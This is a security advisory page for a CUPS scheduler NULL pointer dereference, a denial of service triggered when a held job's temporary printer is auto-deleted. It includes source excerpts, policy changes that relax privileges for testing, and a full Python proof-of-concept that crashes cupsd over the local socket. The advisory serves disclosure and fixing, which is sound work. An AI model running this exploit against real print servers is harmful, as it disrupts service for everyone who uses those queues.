Skip to content

GHSA-qqm8-4q5h-jg55 on Cyberus Linux 26.05

Aliases: GHSA-qqm8-4q5h-jg55

Packages: cups

Status: Plausible

Advisory Information

Summary

cupsd crashes when a job marked job-held-on-create refers to a temporary printer that has been automatically deleted. cupsdCheckJobs() looks up the missing destination and dereferences the returned NULL pointer.

Reproduced on CUPS v2.4.19 over the local CUPS domain socket. The crash affects all queues managed by the scheduler. The queue must first be configured to hold new jobs, which requires administrative privileges under the default policy. The reproduction below relaxes that requirement for testing.

Details

In cupsdCheckJobs(), the job-held-on-create branch accesses the destination without checking whether it still exists (scheduler/job.c:325–336):

reasons = ippGetString(job->reasons, 0, NULL);
if (reasons && !strcmp(reasons, "job-held-on-create"))
{
  printer = cupsdFindDest(job->dest);

  if (printer->holding_new_jobs)
    continue;

  ippSetString(job->attrs, &job->reasons, 0, "none");
}

add_job() assigns this reason when the destination has holding_new_jobs set. That state is enabled by Hold-New-Jobs, an operation restricted to @SYSTEM under the default policy.

The destination can disappear through cupsdDeleteTemporaryPrinters() (scheduler/printers.c:783–806). This function removes temporary printers that are not processing and whose state_time is older than 300 seconds, without canceling their jobs. In contrast, the explicit CUPS-Delete-Printer operation cancels jobs before deleting the destination.

A failed local-printer probe sets state_time to zero on several error paths in scheduler/ipp.c, making the temporary printer immediately eligible for removal. If a held-on-create job remains, the next call to cupsdCheckJobs() dereferences NULL at scheduler/job.c:333.

Runtime reproduction was performed on v2.4.19. The supplied source-history analysis places the vulnerable branch in v2.2.0 through v2.4.19; earlier versions were assessed by inspection rather than runtime testing.

The fix should check the destination lookup and handle jobs left behind by temporary-printer removal. Extending the removal delay alone would not address the missing NULL check.

Proof of concept

Configuration

  • CUPS v2.4.19 with access to its Unix domain socket.
  • CUPS-Create-Local-Printer requires a domain-socket client.
  • The test policy permits Hold-New-Jobs and CUPS-Accept-Jobs without authentication. Both are privileged under the default policy.

In the test instance’s existing <Policy default> block, move these two operations out of any existing privileged <Limit> group and place them in:

<Limit Hold-New-Jobs CUPS-Accept-Jobs>
  Order deny,allow
</Limit>

Leave the other policy rules unchanged and restart the test instance.

Device listener

Save the following as /tmp/blackhole.py and run it with python3 /tmp/blackhole.py. It accepts the printer probe, waits two seconds, and closes the connection.

#!/usr/bin/env python3
# blackhole.py - accept TCP connections, hold 2s, close (fake slow device)
import socket, threading, time
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 9999)); s.listen(8)
def handle(c):
    try: time.sleep(2)
    finally: c.close()
while True:
    c, _ = s.accept()
    threading.Thread(target=handle, args=(c,), daemon=True).start()

Trigger

Save the original reproduction script below as /tmp/poc.py. It creates a temporary printer, enables job acceptance, holds new jobs, and submits a job while the device probe is pending.

#!/usr/bin/env python3
"""PoC: cupsd 2.4.19 NULL deref in cupsdCheckJobs (job.c:333)."""
import socket, struct, sys, time

SOCK = sys.argv[1] if len(sys.argv) > 1 else "/var/run/cups/cups.sock"
NAME = "p019"
PURI = f"ipp://localhost/printers/{NAME}"
BLACKHOLE = "ipp://127.0.0.1:9999/ipp/print"

def attr_str(tag, name, value):
    v = value.encode()
    return (struct.pack(">BH", tag, len(name)) + name.encode()
            + struct.pack(">H", len(v)) + v)

def build(opid, reqid, groups, path, data=b""):
    body = struct.pack(">BBHI", 1, 1, opid, reqid)
    for gtag, attrs in groups:
        body += bytes([gtag]) + attrs
    body += b"\x03" + data
    return (f"POST {path} HTTP/1.1\r\nHost: localhost\r\n"
            f"Content-Type: application/ipp\r\nContent-Length: {len(body)}\r\n"
            f"Connection: close\r\n\r\n").encode() + body

def op_attrs(extra=b""):
    return (attr_str(0x47, "attributes-charset", "utf-8")
            + attr_str(0x48, "attributes-natural-language", "en")
            + attr_str(0x45, "printer-uri", PURI) + extra)

def send(req):
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.settimeout(20)
    s.connect(SOCK)
    s.sendall(req)
    return s

def read_status(s):
    resp = b""
    try:
        while True:
            c = s.recv(4096)
            if not c: break
            resp += c
    except socket.timeout:
        pass
    s.close()
    if b"\r\n\r\n" not in resp: return None
    ipp = resp.split(b"\r\n\r\n", 1)[1]
    return struct.unpack(">H", ipp[4:6])[0] if len(ipp) >= 6 else None

reqs = []
# 1. Create the temporary local printer; its response is deferred until the
#    device probe finishes, so fire the remaining requests immediately.
reqs.append(("Create-Local-Printer", send(build(0x4028, 1, [
    (0x01, attr_str(0x47, "attributes-charset", "utf-8")
         + attr_str(0x48, "attributes-natural-language", "en")
         + attr_str(0x45, "printer-uri", PURI)),
    (0x04, attr_str(0x42, "printer-name", NAME)
         + attr_str(0x45, "device-uri", BLACKHOLE)),
], f"/printers/{NAME}"))))
reqs.append(("Accept-Jobs",   send(build(0x4008, 2, [(0x01, op_attrs())], f"/printers/{NAME}"))))
reqs.append(("Hold-New-Jobs", send(build(0x0025, 3, [(0x01, op_attrs())], f"/printers/{NAME}"))))
reqs.append(("Print-Job",     send(build(0x0002, 4, [(0x01, op_attrs(
    attr_str(0x42, "document-format", "application/vnd.cups-raw")))],
    f"/printers/{NAME}", data=b"poc019\n"))))

time.sleep(1)
for name, s in reqs:
    st = read_status(s)
    print(f"[*] {name}: {hex(st) if st is not None else 'no response'}")
print("[*] cupsd should die within seconds of the probe failure; check:")
print("    systemctl status cups / journalctl -u cups --since -1min")

Run:

python3 /tmp/poc.py /var/run/cups/cups.sock

Observed result

The job was queued with state held and reason job-held-on-create. After the probe failed, the temporary printer was deleted without canceling the job. The scheduler then terminated with SIGSEGV.

The sanitized build reported:

job.c:333:20: runtime error: member access within null pointer of type 'cupsd_printer_t'
    #0 cupsdCheckJobs  scheduler/job.c:333:20
    #1 main            scheduler/main.c:1026:7

The script above is unchanged from the supplied reproduction. Its read_status() reads bytes 4:6, which belong to the IPP request ID rather than the status code at bytes 2:4. Its printed status values therefore do not establish that the operations succeeded; use the scheduler logs and crash trace as evidence.

Impact

This is a NULL pointer dereference causing scheduler-wide denial of service. All queues managed by the affected cupsd process lose service.

Under the default policy, a local user cannot independently perform the full demonstrated sequence: enabling job acceptance and holding new jobs require administrative privileges. An unprivileged submission can trigger the failure when a temporary queue is already accepting jobs and configured to hold them.

A restart loop may also occur if the held job is persisted before the destination disappears and restored at startup without that destination. This is a separate persistence scenario, not established by the two-second reproduction above.

Fix

[master 7c7b35b18272c9] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)

[2.4.x c5fc041ca] Abort held jobs if the destination has gone away (GHSA-qqm8-4q5h-jg55)

Updates

2026-10-02 23:49 CEST

Metadata changes:

  • Status for package cups: “Plausible”

2026-10-02 23:44 CEST

Metadata changes:

  • Status for package cups: “New”